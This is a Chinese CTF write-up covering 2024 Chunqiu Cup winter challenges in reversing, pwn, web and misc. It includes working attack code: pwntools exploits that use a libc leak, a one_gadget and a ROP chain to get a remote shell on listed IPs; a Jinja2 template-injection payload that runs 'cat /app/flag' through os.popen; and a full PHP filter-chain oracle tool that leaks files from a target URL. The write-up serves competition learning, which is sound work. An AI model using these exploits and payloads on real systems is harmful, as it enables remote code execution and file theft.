2024春秋杯冬季赛day1
ezgo
IDA调试发现有反调试检测,直接同样ScyllaHide插件一键去除。
找到main_main函数,发现有个加密函数。
通过这部分代码分析出是Base64加密,main_byte_16321就是Base表。
但是查看交叉引用发现main_byte_16321在main_init_0被修改换表,所以真实表应该是下面这个。
加密函数结尾,对Base64加密后的密文进行了异或0xC处理。
main_main函数要求输入一个4长度的字符串,动调发现无论输入什么四位字符,最终加密完都是6个密文字符+2个等号。
加密完对密文进行字节分割,在以下片段分别对第0、2、3、4、5、7下标的字符进行了异或计算。
这边有个time_Since应该是时间检测。
直接在汇编代码该处进行命令断点,设置rax=0xffffffff即可绕过检测
动调发现以下是对文件进行解密。
之前输入四位字符加密得到的8个字符以下统称Key,且被异或处理的称为EncKey
整体解密流程如下:
v51 = 文件字节[i]v61 = v62 = EncKey[i%8]v63 = v61 ^ main_byte_65163[v62]v65 = i % 2v51 ^= v63文件字节[i] = v51 ^ EncKey[i%v65 + 4]
main_byte_65163是一个256大小的QWORD数组。
解密流程清楚了,接下来是解出EncKey,由于Key的最后两位统一是两个等号,所以EncKey的最后两位也固定。
所以就需要解出EncKey前六个字节。
由于原文件已知是zip格式,所以可以利用zip文件开头几个字节和结尾段的前几个字节当作已知明文,去对应被加密的zip.zip的对应字节。
ZIP文件开头和结尾段前几个字节:
开头0x50, 0x4B, 0x03, 0x04, 0x14倒数22个字节开始0x50, 0x4B, 0x05, 0x06
被加密的文件对应字节如下:
开头0x0E, 0xE1, 0xE5, 0xF9, 0x0C倒数22个字节开始0xB6, 0xB6, 0x1D, 0x9F
利用z3进行约束求解,即可求出EncKey。
求解代码:
from z3 import *origin = [0x50, 0x4B, 0x03, 0x04, 0x14]cipher = [0x0E, 0xE1, 0xE5, 0xF9, 0x0C]# main_byte_65163Bytes_ = [0x01,0x57,0x2C,0x7C,0xC7,0x72,0x20,0x70,0xA5,0x96,0x21,0xDC,0xA8,0x76,0x69,0x14,0xC5,0x24,0x25,0x02,0xB7,0x7A,0xFC,0xF0,0xC4,0x49,0x56,0xC2,0xC1,0x95,0xEC,0x26,0xCC,0xF7,0xFF,0x73,0xE1,0x3F,0x84,0x46,0xA9,0xF9,0x3D,0x0E,0x45,0xF1,0xDA,0x92,0xCE,0x3B,0x3C,0xA0,0x16,0xBC,0x2D,0xBD,0xA4,0x32,0x90,0x62,0x9D,0x0C,0xDE,0xAD,0x40,0xCF,0x4B,0x4D,0x6E,0x79,0xC8,0x85,0xD2,0xAC,0x99,0xE8,0x1E,0xC9,0xD4,0x06,0x34,0x66,0xB8,0xD3,0x13,0xF4,0x42,0x1B,0x63,0x5F,0x82,0x5B,0x91,0x2A,0x33,0x5D,0xB9,0x7D,0xD5,0x6C,0x0D,0x28,0x08,0x9B,0x18,0x2E,0xA2,0x67,0x5A,0xE6,0x8A,0x19,0x50,0x9C,0xB1,0xEF,0x1F,0x12,0xBA,0x86,0x83,0x77,0x60,0x94,0xFD,0xF6,0x54,0xBF,0xA1,0x93,0x03,0xE7,0x58,0xE5,0x9A,0x7F,0x22,0xBE,0xD9,0x38,0x27,0x65,0xD7,0x23,0xFB,0x71,0xFA,0x8F,0xF5,0x6D,0x51,0x9E,0xD6,0x8B,0x89,0x11,0xCA,0x0F,0x8E,0xCB,0xB3,0xBB,0xF2,0x87,0x75,0x5C,0x2F,0x98,0x2B,0x1C,0xB4,0xC6,0x0A,0x4C,0x36,0x1A,0x15,0x88,0x1D,0xE4,0xC3,0x97,0x53,0x30,0x4A,0x3A,0xB5,0x61,0x55,0xC0,0xA7,0xDB,0x29,0x68,0xE2,0xE0,0x10,0x09,0x41,0x31,0xF3,0xAF,0xB6,0x6A,0x6F,0x00,0x05,0x0B,0xE3,0xD1,0x8D,0x47,0x74,0x78,0x7B,0x64,0xDD,0xAB,0xB0,0x39,0x37,0xFE,0xED,0x52,0xCD,0x81,0xF8,0xAA,0x48,0x6B,0xD0,0xEB,0x8C,0x44,0x59,0x17,0x9F,0x4F,0xB2,0x35,0xA3,0x7E,0xEE,0x4E,0xDF,0xE9,0x07,0x43,0xA6,0xAE,0xD8,0xEA,0x80,0x3E,0x04,0x5E]Bytes_array = Array('Bytes', BitVecSort(8), BitVecSort(8))s = Solver()for i in range(256):s.add(Bytes_array[i] == Bytes_[i])Key1,Key2,Key3,Key4,Key5,Key6 = BitVecs("Key1 Key2 Key3 Key4 Key5 Key6",8)s.add(cipher[0] == origin[0] ^ Key1 ^ Key5 ^ Bytes_array[Key1])s.add(cipher[1] == origin[1] ^ Key2 ^ Key6 ^ Bytes_array[Key2])s.add(cipher[2] == origin[2] ^ Key3 ^ Key5 ^ Bytes_array[Key3])s.add(cipher[3] == origin[3] ^ Key4 ^ Key6 ^ Bytes_array[Key4])s.add(cipher[4] == origin[4] ^ Key5 ^ Key5 ^ Bytes_array[Key5])# Zip文件尾段开头4个字节# 通过下标234%8得到2,也就是从Key3开始加密s.add(0xB6 == 0x50 ^ Key3 ^ Key5 ^ Bytes_array[Key3])s.add(0xB6 == 0x4B ^ Key4 ^ Key6 ^ Bytes_array[Key4])s.add(0x1D == 0x05 ^ Key5 ^ Key5 ^ Bytes_array[Key5])s.add(0x9F == 0x06 ^ Key6 ^ Key6 ^ Bytes_array[Key6])# 必须在可视字符范围内s.add((Key1^2)>=32)s.add((Key1^2)<=126)s.add((Key2)>=32)s.add((Key2)<=126)s.add((Key3^2)>=32)s.add((Key3^2)<=126)s.add((Key4^5)>=32)s.add((Key4^5)<=126)s.add((Key5^5)>=32)s.add((Key5^5)<=126)s.add((Key6^2)>=32)s.add((Key6^2)<=126)if s.check() == sat:m=s.model()k1 = m[Key1].as_long()k2 = m[Key2].as_long()k3 = m[Key3].as_long()k4 = m[Key4].as_long()k5 = m[Key5].as_long()k6 = m[Key6].as_long()# 得到EncKeyprint(f"{k1}",end=',')print(f"{k2}",end=',')print(f"{k3}",end=',')print(f"{k4}",end=',')print(f"{k5}",end=',')print(f"{k6}")# 108,62,65,98,104,74
输出得到EncKey = {108,62,65,98,104,74};
再将EncKey进行异或处理的还原以及0xC异或的还原,即可得到原Key。
还原代码:
int main_ez_go(){// 由z3解出来的EncKeyint key[] = { 108,62,65,98,104,74 };// 还原EncKeykey[0] ^= 2;key[2] ^= 2;key[3] ^= 5;key[4] ^= 5;key[5] ^= 2;for (int i = 0; i < 6; i++){printf("%c", key[i]^0xc);}// b2OkaDreturn 0;}
得到Key为b2OkaD。
利用之前得到的Base表,用Cyberchef进行解密即可得到原始输入。
所以运行程序输入oadi即可解密本地的zip.zip得到flag
bypass
exp如下
from pwn import *import timeimport numpy as np# 定义本地文件路径local_file = './pwn'# 加载 ELF 文件elf = ELF(local_file)# 加载 libc 库文件libc = ELF('./libc.so.6')# 设置日志级别为调试context.log_level = 'debug'# 设置架构context.arch = elf.arch# 设置终端context.terminal = ['tmux', 'neww']# 定义发送数据函数def s(data):return io.send(data)# 定义在特定分隔符后发送数据函数def sa(delim, data):return io.sendafter(delim, data)# 定义发送一行数据函数def sl(data):return io.sendline(data)# 定义在特定分隔符后发送一行数据函数def sla(delim, data):return io.sendlineafter(delim, data)# 定义接收数据函数def r(numb=4096):return io.recv(numb)# 定义接收数据直到特定分隔符函数def ru(delims, drop=True):return io.recvuntil(delims, drop)# 定义将数据转换为 u32 类型函数def uu32(data):return u32(data.ljust(4, b'x00'))# 定义将数据转换为 u64 类型函数def uu64(data):return u64(data.ljust(8, b'x00'))# 定义获取补码(64 位)函数def get_q(data):return (~np.uint64(data) + 1)# 定义获取补码(32 位)函数def get_d(data):return (~np.uint32(data) + 1)# 定义获取 system 函数地址和/bin/sh 字符串地址的函数def get_sh():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))# 定义打印地址信息函数def info_addr(tag, addr):return io.info(tag + '==>' +': {:#x}'.format(addr))# 定义进入交互模式函数def itr():return io.interactive()# 连接远程服务器io = remote('47.94.103.168', 20637)# 发送 4 个字节的 2s(p8(2) * 4)# 接收数据直到'd'ru('d')# 接收数据直到换行符ru('n')# 计算 libc 基地址libc_base = uu64(r(6)) - libc.sym.puts# 发送 4 个字节的 0s(p8(0) * 4)# 定义 one gadget 地址one = 0x4f302# 构造并发送数据s(b'KEY: ' + b'a' * 19 + p8(0x14) + p8(0x2) + b'c' * 8 + p64(one + libc_base))# 等待 0.1 秒time.sleep(0.1)# 发送数据s(b'VAL: ' + b'b' * 512)# 进入交互模式itr()
easy_flask
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /app/flag').read() }}
输入框输入上面内容即可
ezre
伪随机生成器,但是生成之后数据固定,给比较前下断点,查看 s1 就可以了
flag{b799eb3a-59ee-4b3b-b49d-39080fc23e99
file_copy
将下面的脚本上传到了自己的服务器(因为当时设备没有装linux,所以就拿了台服务器将就一下)
#!/usr/bin/env python3import sysimport signalimport argparseimport jsonfrom filters_chain_oracle.core.requestor import Requestorfrom filters_chain_oracle.core.verb import Verbfrom filters_chain_oracle.core.bruteforcer import RequestorBruteforcer"""Class FiltersChainOracle, defines all the CLI logic.- useful info -This tool is based on the following script : https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.pyEach step of this trick is detailed in the following blogpost : https://www.synacktiv.com/publications/php-filter-chains-file-read-from-errorbased-oracle"""class FiltersChainOracle(): def __init__(self): self.requestor = None self.bruteforcer = None""" Function managing interuption """ def signal_handler(self, sig, frame):print("[*] File leak gracefully stopped.")print("[+] File {} was partially leaked".format(self.requestor.file_to_leak))print(self.bruteforcer.base64)print(self.bruteforcer.data)if self.log_file: self.log_in_file("# The following data was leaked from {} from the file {}n{}n".format(self.requestor.target, self.requestor.file_to_leak, self.bruteforcer.data.decode("utf-8"))) sys.exit(1)""" Function managing log file """ def log_in_file(self, content):print("[*] Info logged in : {}".format(self.log_file)) with open(self.log_file, "a") as file: file.write(content) file.flush()""" Function managing CLI arguments """ def main(self):#signal management usage = """ Oracle error based file leaker based on PHP filters. Author of the tool : @_remsio_ Trick firstly discovered by : @hash_kitten~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0 [*] The following URL is targeted : http://127.0.0.1 [*] The following local file is leaked : /test [*] Running POST requests [+] File /test leak is finished! b'SGVsbG8gZnJvbSBTeW5hY2t0aXYncyBibG9ncG9zdCEK' b"Hello from Synacktiv's blogpost!\n" """ # Parsing command line arguments parser = argparse.ArgumentParser(description=usage, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument("--target", help="URL on which you want to run the exploit.", required=True) parser.add_argument("--file", help="Path to the file you want to leak.", required=True) parser.add_argument("--parameter", help="Parameter to exploit.", required=True) parser.add_argument("--data", help="Additionnal data that might be required. (ex : {"string":"value"})", required=False) parser.add_argument("--headers", help="Headers used by the request. (ex : {"Authorization":"Bearer [TOKEN]"})", required=False) parser.add_argument("--verb", help="HTTP verb to use POST(default),GET(~ 135 chars by default),PUT,DELETE", required=False) parser.add_argument("--proxy", help="Proxy you would like to use to run the exploit. (ex : http://127.0.0.1:8080)", required=False) parser.add_argument("--in_chain", help="Useful to bypass weak strpos configurations, adds the string in the chain. (ex : KEYWORD)", required=False) parser.add_argument("--time_based_attack", help="Exploits the oracle as a time base attack, can be improved. (ex : True)", required=False) parser.add_argument("--delay", help="Set the delay in second between each request. (ex : 1, 0.1)", required=False) parser.add_argument("--json", help="Send data as JSON (--json=1)", required=False) parser.add_argument("--match", help="Match a pattern in the response as the oracle (--match='Allowed memory size of')", required=False) parser.add_argument("--offset", help="Offset from which a char should be leaked (--offset=100)", required=False, type=int) parser.add_argument("--log", help="Path to log file (--log=/tmp/output.log)", required=False) args = parser.parse_args() # Time based attack management if args.time_based_attack: time_based_attack=args.time_based_attack else: time_based_attack=False # Delay management if args.delay: delay = args.delay else: delay = 0.0 # Data management if args.data: try: json.loads(args.data) except ValueError as err: print("[-] data JSON could not be loaded, please make it valid") exit() data=args.data else: data="{}" # Headers management if args.headers: try: json.loads(args.headers) except ValueError as err: print("[-] headers JSON could not be loaded, please make it valid") exit() headers=args.headers else: headers="{}" # Verb management if args.verb: try: verb = Verb[args.verb] except KeyError: verb = Verb.POST else: verb = Verb.POST if args.in_chain: in_chain = args.in_chain else: in_chain = "" # Delay management json_input = False if args.json: json_input = True # Match pattern match = False if args.match: match = args.match # Offset from which a char should be leaked offset = 0 if args.offset: offset = args.offset # Log file path self.log_file = False if args.log: self.log_file = args.log # Attack launcher self.requestor = Requestor(args.file, args.target, args.parameter, data, headers, verb, in_chain, args.proxy, time_based_attack, delay, json_input, match) self.bruteforcer = RequestorBruteforcer(self.requestor, offset) signal.signal(signal.SIGINT, self.signal_handler) # Auto fallback to time based attack self.bruteforcer.bruteforce() # Result parsing if self.bruteforcer.base64: print("[+] File {} leak is finished!".format(self.requestor.file_to_leak)) print(self.bruteforcer.base64) print(self.bruteforcer.data) if self.log_file: self.log_in_file("# The following data was leaked from {} from the file {}n{}n".format(self.requestor.target, self.requestor.file_to_leak, self.bruteforcer.data.decode("utf-8"))) exit() else: print("[-] File {} is either empty, or the exploit did not work :(".format(self.requestor.file_to_leak)) time_based_attack = 1 print("[*] Auto fallback to time based attack") self.requestor = Requestor(args.file, args.target, args.parameter, data, headers, verb, in_chain, args.proxy, time_based_attack, delay, json_input, match) self.bruteforcer = RequestorBruteforcer(self.requestor, offset) self.bruteforcer.bruteforce() if verb == Verb.GET: print("[*] You passed your payload on a GET parameter, the leak might be partial! (~135 chars max by default)") print(self.bruteforcer.base64) print(self.bruteforcer.data)if __name__ == "__main__": filters_chain_oracle = FiltersChainOracle() filters_chain_oracle.main() sys.exit(0)
塞进机器后直接
python filters_chain_oracle_exploit.py --target http://eci2ze0sy1cu9fue3fdepy3.cloudeci1.ichunqiu.com:80 --file '/flag' --parameter path
Gender_Simulation
缓冲区溢出
from pwn import *# 加载二进制文件和 libcbinary_path = './pwn'elf_binary = ELF(binary_path)libc_binary = ELF('./libc.so.6')# 设置日志级别、架构和终端context.log_level = 'debug'context.arch = elf_binary.archcontext.terminal = ['tmux', 'neww']# 定义工具函数send_data = lambda data: io.send(data) # 发送数据send_after_delim = lambda delim, data: io.sendafter(delim, data) # 在接收到 delim 后发送数据send_line_data = lambda data: io.sendline(data) # 发送一行数据send_line_after_delim = lambda delim, data: io.sendlineafter(delim, data) # 在接收到 delim 后发送一行数据receive_data = lambda num_bytes=4096: io.recv(num_bytes) # 接收指定字节数的数据receive_until_delim = lambda delims, drop=True: io.recvuntil(delims, drop) # 接收数据直到遇到 delimsunpack_32bit = lambda data: u32(data.ljust(4, 'x00')) # 将数据解析为 32 位无符号整数unpack_64bit = lambda data: u64(data.ljust(8, 'x00')) # 将数据解析为 64 位无符号整数enter_interactive_mode = lambda: io.interactive() # 进入交互模式# 连接到远程服务器io = remote('59.110.162.87', 30743)# 接收泄露的地址并计算 libc 基地址receive_until_delim('A gift: ')leaked_address = int(receive_until_delim('n'), 16) # 读取泄露的地址libc_base_address = leaked_address - libc_binary.sym.setvbuf # 计算 libc 基地址log.info("libc_base_address = " + hex(libc_base_address)) # 打印 libc 基地址# 选择菜单选项receive_until_delim('Choose onen1. Boyn2. Girln')send_line_data('2') # 选择 Girlreceive_until_delim('2. Tomboyn')send_line_data('2') # 选择 Tomboyreceive_until_delim('certificaten')# 构造 ROP 链pop_rdi_gadget = libc_base_address + 0x000000000010f75b # pop rdi; ret 的地址ret_gadget = 0x000000000040201a # ret 指令的地址system_function_address = libc_binary.sym.system + libc_base_address # system 函数的地址bin_sh_string_address = next(libc_binary.search('/bin/sh')) + libc_base_address # /bin/sh 字符串的地址# 发送 payloadsend_line_data(p64(0x0004025E6)) # 发送receive_until_delim('If you think you')send_data(b'a' * 0x18 + p64(pop_rdi_gadget) + p64(bin_sh_string_address) + p64(ret_gadget) + p64(system_function_address)) # 构造 ROP 链# 进入交互模式enter_interactive_mode()
进入 shell 后直接 cat /home/ctf/flag
flag{161eaaf4-4214-422d-83df-255dbc16b228}
Gotar
软链接,先创建一个文件夹,进入那个文件夹然后构造软链接,然后再压缩文件夹
然后上传访问/assets/extracted/2/gioisi,得到 session
伪造得到 flag
ko0h
用 ida 打开
直接看 main 解变表 base64 的话是假的 flag
去花之后跟进里面调用的函数,一个个去花 最后发现是个魔改 rc4 才是正确 flag 的加密逻辑
改 rc4 是将原来的异或换成了减,所以 exp 改成加就可以
public class RC4 { /*** 初始化 RC4 算法的状态向量 S 盒 ** @param s 状态向量 S 盒,长度为 256* @param key 密钥* @param len_k 密钥长度 */ public static void rc4_init(int[] s, byte[] key, int len_k) { int i = 0, j = 0; byte[] k = new byte[256]; int tmp = 0; // 初始化 S 盒和临时密钥数组 kfor (i = 0; i < 256; i++) { s[i] = i; k[i] = key[i % len_k]; } // 对 S 盒进行置换操作for (i = 0; i < 256; i++) { j = (j + s[i] + (k[i] & 0xFF)) % 256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; } } /*** 使用 RC4 算法对数据进行加密或解密 ** @param data 待处理的数据* @param len_d 数据长度* @param key 密钥* @param len_k 密钥长度 */ public static void rc4_crypt(byte[] data, int len_d, byte[] key, int len_k) { int[] s = new int[256]; rc4_init(s, key, len_k); int i = 0, j = 0, t = 0; int k = 0; int tmp; // 对数据进行逐字节处理for (k = 0; k < len_d; k++) { i = (i + 1) % 256; j = (j + s[i]) % 256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; t = (s[i] + s[j]) % 256; data[k] += (byte) s[t]; } } public static void main(String[] args) { byte[] key = "DDDDAAAASSSS".getBytes(); int key_len = key.length; byte[] data = { 0x18, 0x9C, 0x47, 0x3D, 0x3B, 0xE1, 0x29, 0x27, 0x9F, 0x34, 0x83, 0xD5, (byte) 0xED, (byte) 0xB5, 0x6E, 0x59, 0x7F, (byte) 0xDE, 0x47, (byte) 0xD7, 0x65, 0x3F, 0x7A, 0x33, 0x5B, 0x64, 0xB6, (byte) 0xFA, 0x94, 0x55, 0x87, 0x42, 0x20, 0x06, 0x0C, 0x69, (byte) 0xFE, 0x72, 0xA9, 0xE4, 0xD1, 0x7C }; rc4_crypt(data, data.length, key, key_len);for (int i = 0; i < data.length; i++) { System.out.print("0x" + String.format("%02X", data[i]) + ","); System.out.print((char) (data[i] & 0xFF)); }}}
See anything in these pics
首先下载附件,爆破压缩包
密码:5FIVE
解压下来,一张图片
foremost 提取,得到另一张 png
爆破一下宽高
简单计算
丢进 cyberchef 开 xor bruteforce
flag{x0r_Brute_is_easy!
简单镜像提取
Neta 下载提取文件
一个 zip,解压得到
根据提示用 RR_studio 恢复
得到一个 xls
打开往下滑 That's cool!!本题通关 FLAG:E7A10C15E26AA5750070EF756AAA1F7C
你是小哈斯
写一个脚本批量破解 hash 并拼接明文
import hashlibimport itertoolsimport string# 这里把你要匹配的所有 SHA-1 哈希都放进来hash_list = ["356a192b7913b04c54574d18c28d46e6395428ab","da4b9237bacccdf19c0760cab7aec4a8359010b0","77de68daecd823babbb58edb1c8e14d7106e83bb","1b6453892473a467d07372d45eb05abc2031647a","ac3478d69a3c81fa62e60f5c3696165a4e5e6ac4","c1dfd96eea8cc2b62785275bca38ac261256e278","902ba3cda1883801594b6e1b452790cc53948fda","fe5dbbcea5ce7e2988b8c69bcfdfde8904aabc1f","0ade7c2cf97f75d009975f4d720d1fa6c19f4897","b6589fc6ab0dc82cf12099d1c2d40ab994e8410c","3bc15c8aae3e4124dd409035f32ea2fd6835efc9","21606782c65e44cac7afbb90977d8b6f82140e76","22ea1c649c82946aa6e479e1ffd321e4a318b1b0","aff024fe4ab0fece4091de044c58c9ae4233383a","58e6b3a414a1e090dfc6029add0f3555ccba127f","4dc7c9ec434ed06502767136789763ec11d2c4b7","8efd86fb78a56a5145ed7739dcb00c78581c5375","95cb0bfd2977c761298d9624e4b4d4c72a39974a","51e69892ab49df85c6230ccc57f8e1d1606caccc","042dc4512fa3d391c5170cf3aa61e6a638f84342","7a81af3e591ac713f81ea1efe93dcf36157d8376","516b9783fca517eecbd1d064da2d165310b19759","4a0a19218e082a343a1b17e5333409af9d98f0f5","07c342be6e560e7f43842e2e21b774e61d85f047","86f7e437faa5a7fce15d1ddcb9eaeaea377667b8","54fd1711209fb1c0781092374132c66e79e2241b","60ba4b2daa4ed4d070fec06687e249e0e6f9ee45","d1854cae891ec7b29161ccaf79a24b00c274bdaa","7a81af3e591ac713f81ea1efe93dcf36157d8376","53a0acfad59379b3e050338bf9f23cfc172ee787","042dc4512fa3d391c5170cf3aa61e6a638f84342","a0f1490a20d0211c997b44bc357e1972deab8ae3","53a0acfad59379b3e050338bf9f23cfc172ee787","4a0a19218e082a343a1b17e5333409af9d98f0f5","07c342be6e560e7f43842e2e21b774e61d85f047","86f7e437faa5a7fce15d1ddcb9eaeaea377667b8","54fd1711209fb1c0781092374132c66e79e2241b","c2b7df6201fdd3362399091f0a29550df3505b6a","86f7e437faa5a7fce15d1ddcb9eaeaea377667b8","a0f1490a20d0211c997b44bc357e1972deab8ae3","3c363836cf4e16666669a25da280a1865c2d2874","4a0a19218e082a343a1b17e5333409af9d98f0f5","54fd1711209fb1c0781092374132c66e79e2241b","27d5482eebd075de44389774fce28c69f45c8a75","5c2dd944dde9e08881bef0894fe7b22a5c9c4b06","13fbd79c3d390e5d6585a21e11ff5ec1970cff0c","07c342be6e560e7f43842e2e21b774e61d85f047","395df8f7c51f007019cb30201c49e884b46b92fa","11f6ad8ec52a2984abaafd7c3b516503785c2072","84a516841ba77a5b4648de2cd0dfcb30ea46dbb4","7a38d8cbd20d9932ba948efaa364bb62651d5ad4","e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98","d1854cae891ec7b29161ccaf79a24b00c274bdaa","6b0d31c0d563223024da45691584643ac78c96e8","5c10b5b2cd673a0616d529aa5234b12ee7153808","4a0a19218e082a343a1b17e5333409af9d98f0f5","07c342be6e560e7f43842e2e21b774e61d85f047","86f7e437faa5a7fce15d1ddcb9eaeaea377667b8","54fd1711209fb1c0781092374132c66e79e2241b","60ba4b2daa4ed4d070fec06687e249e0e6f9ee45","54fd1711209fb1c0781092374132c66e79e2241b","86f7e437faa5a7fce15d1ddcb9eaeaea377667b8","6b0d31c0d563223024da45691584643ac78c96e8","58e6b3a414a1e090dfc6029add0f3555ccba127f","53a0acfad59379b3e050338bf9f23cfc172ee787","84a516841ba77a5b4648de2cd0dfcb30ea46dbb4","22ea1c649c82946aa6e479e1ffd321e4a318b1b0","e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98","53a0acfad59379b3e050338bf9f23cfc172ee787","042dc4512fa3d391c5170cf3aa61e6a638f84342","a0f1490a20d0211c997b44bc357e1972deab8ae3","042dc4512fa3d391c5170cf3aa61e6a638f84342","a0f1490a20d0211c997b44bc357e1972deab8ae3","53a0acfad59379b3e050338bf9f23cfc172ee787","84a516841ba77a5b4648de2cd0dfcb30ea46dbb4","11f6ad8ec52a2984abaafd7c3b516503785c2072","95cb0bfd2977c761298d9624e4b4d4c72a39974a","395df8f7c51f007019cb30201c49e884b46b92fa","c2b7df6201fdd3362399091f0a29550df3505b6a","3a52ce780950d4d969792a2559cd519d7ee8c727","86f7e437faa5a7fce15d1ddcb9eaeaea377667b8","a0f1490a20d0211c997b44bc357e1972deab8ae3","3c363836cf4e16666669a25da280a1865c2d2874","4a0a19218e082a343a1b17e5333409af9d98f0f5","54fd1711209fb1c0781092374132c66e79e2241b","27d5482eebd075de44389774fce28c69f45c8a75","5c2dd944dde9e08881bef0894fe7b22a5c9c4b06","13fbd79c3d390e5d6585a21e11ff5ec1970cff0c","07c342be6e560e7f43842e2e21b774e61d85f047","395df8f7c51f007019cb30201c49e884b46b92fa","11f6ad8ec52a2984abaafd7c3b516503785c2072","84a516841ba77a5b4648de2cd0dfcb30ea46dbb4","7a38d8cbd20d9932ba948efaa364bb62651d5ad4","e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98","d1854cae891ec7b29161ccaf79a24b00c274bdaa","6b0d31c0d563223024da45691584643ac78c96e8","5c10b5b2cd673a0616d529aa5234b12ee7153808","3a52ce780950d4d969792a2559cd519d7ee8c727","22ea1c649c82946aa6e479e1ffd321e4a318b1b0","aff024fe4ab0fece4091de044c58c9ae4233383a","58e6b3a414a1e090dfc6029add0f3555ccba127f","4dc7c9ec434ed06502767136789763ec11d2c4b7","8efd86fb78a56a5145ed7739dcb00c78581c5375","95cb0bfd2977c761298d9624e4b4d4c72a39974a","51e69892ab49df85c6230ccc57f8e1d1606caccc","042dc4512fa3d391c5170cf3aa61e6a638f84342","7a81af3e591ac713f81ea1efe93dcf36157d8376","516b9783fca517eecbd1d064da2d165310b19759","4a0a19218e082a343a1b17e5333409af9d98f0f5","07c342be6e560e7f43842e2e21b774e61d85f047","86f7e437faa5a7fce15d1ddcb9eaeaea377667b8","54fd1711209fb1c0781092374132c66e79e2241b","60ba4b2daa4ed4d070fec06687e249e0e6f9ee45","d1854cae891ec7b29161ccaf79a24b00c274bdaa","7a81af3e591ac713f81ea1efe93dcf36157d8376","53a0acfad59379b3e050338bf9f23cfc172ee787","042dc4512fa3d391c5170cf3aa61e6a638f84342","a0f1490a20d0211c997b44bc357e1972deab8ae3","53a0acfad59379b3e050338bf9f23cfc172ee787","4a0a19218e082a343a1b17e5333409af9d98f0f5","07c342be6e560e7f43842e2e21b774e61d85f047","86f7e437faa5a7fce15d1ddcb9eaeaea377667b8","54fd1711209fb1c0781092374132c66e79e2241b","c2b7df6201fdd3362399091f0a29550df3505b6a","356a192b7913b04c54574d18c28d46e6395428ab","da4b9237bacccdf19c0760cab7aec4a8359010b0","77de68daecd823babbb58edb1c8e14d7106e83bb","1b6453892473a467d07372d45eb05abc2031647a","ac3478d69a3c81fa62e60f5c3696165a4e5e6ac4","c1dfd96eea8cc2b62785275bca38ac261256e278","902ba3cda1883801594b6e1b452790cc53948fda","fe5dbbcea5ce7e2988b8c69bcfdfde8904aabc1f","0ade7c2cf97f75d009975f4d720d1fa6c19f4897","b6589fc6ab0dc82cf12099d1c2d40ab994e8410c","3bc15c8aae3e4124dd409035f32ea2fd6835efc9","21606782c65e44cac7afbb90977d8b6f82140e76"]candidates = set()for i in range(10000): candidates.add(str(i))lowercase = string.ascii_lowercasefor length in range(1, 4):for combo in itertools.product(lowercase, repeat=length): candidates.add("".join(combo))uppercase = string.ascii_uppercasefor length in range(1, 4):for combo in itertools.product(uppercase, repeat=length): candidates.add("".join(combo))symbols = "!@#$%^&*()-_=+[]{},.;:"'`~<>?/\|"for sym in symbols: candidates.add(sym)candidates.add(" ")candidates.add("t")candidates.add("n")sha1_dict = {}print("[*] 准备生成 SHA-1 字典,共有候选明文数量 =", len(candidates), "请稍候...")for plain in candidates: h = hashlib.sha1(plain.encode("utf-8")).hexdigest() sha1_dict[h] = plainprint("[*] 字典生成完成。开始匹配...")matched_plaintexts = ""for hval in hash_list:if hval in sha1_dict: matched_plaintexts += sha1_dict[hval] # 直接拼接print(f"{hval} => {sha1_dict[hval]}")else:print(f"{hval} => [未匹配]")# 输出拼接结果print("n[*] 匹配的明文拼接结果:")print(matched_plaintexts)print("[*] 匹配完成。若还有未匹配,则可进一步扩大字典或检查是否有特殊格式。")[*] 匹配的明文拼接结果:1234567890-=qwertyuiopflag{no_is_flag}asdfghjklzxcvbnm,flag{game_cqb_isis_cxyz}.asdfghjklzxcvbnm,.qwertyuiopflag{no_is_flag}1234567890-=[*] 匹配完成。若还有未匹配,则可进一步扩大字典或检查是否有特殊格式
通往哈希的旅程
cmd5直接解
flag{18876011645}
压力大写个脚本
先写脚本解压嵌套压缩包
import zipfile import os import base64 current_dir = os.getcwd() for i in range(99, 0, -1): password_file = os.path.join(current_dir, f"password_{i}.txt") zip_file = os.path.join(current_dir, f"zip_{i}.zip") # 读取并解码密码 with open(password_file, "r") as f: password = base64.b64decode(f.read().strip()).decode("utf-8") # 解压文件 with zipfile.ZipFile(zip_file) as zf: zf.extractall(path=current_dir, pwd=password.encode("utf-8"))
解压完发现 0.zip 解压出来是 password+password.zip。同时发现 0 还是 1 的 password 是 89504e47
所以想到把所有的 txt 合并起来,然后解码一下,注意要删掉非十六进制的字符, 也就是后面的那一串 fg 什么的
import os def merge_password_files(output_file="merged_passwo3rds.txt", num_files =100): with open(output_file, 'w') as outfile: for i in range(num_files): file_name = f"password_{i}.txt"if os.path.exists(file_name): with open(file_name, 'r') as infile: outfile.write(infile.read() + "n") else: print(f"文件 {file_name} 不存在。") print(f"合并完成,结果保存在 {output_file} 文件中。") # 调用函数,假设你有 100 个文件 password_0 到 password_99 merge_password_files(num_files=100)
然后解码,删掉后面的一串FG,得到二维码
2024春秋杯冬季赛day2
easy_ser
Pop 链:wakeup-invoke-tostring
Passwaf2 分析得出 payload 长度小于 16 就不会被拆分,换句话说命令不能超过 16 个字符,用短代码的形式通过 shell_exec 的反引号经过 Base64 加密后进行命令执 行
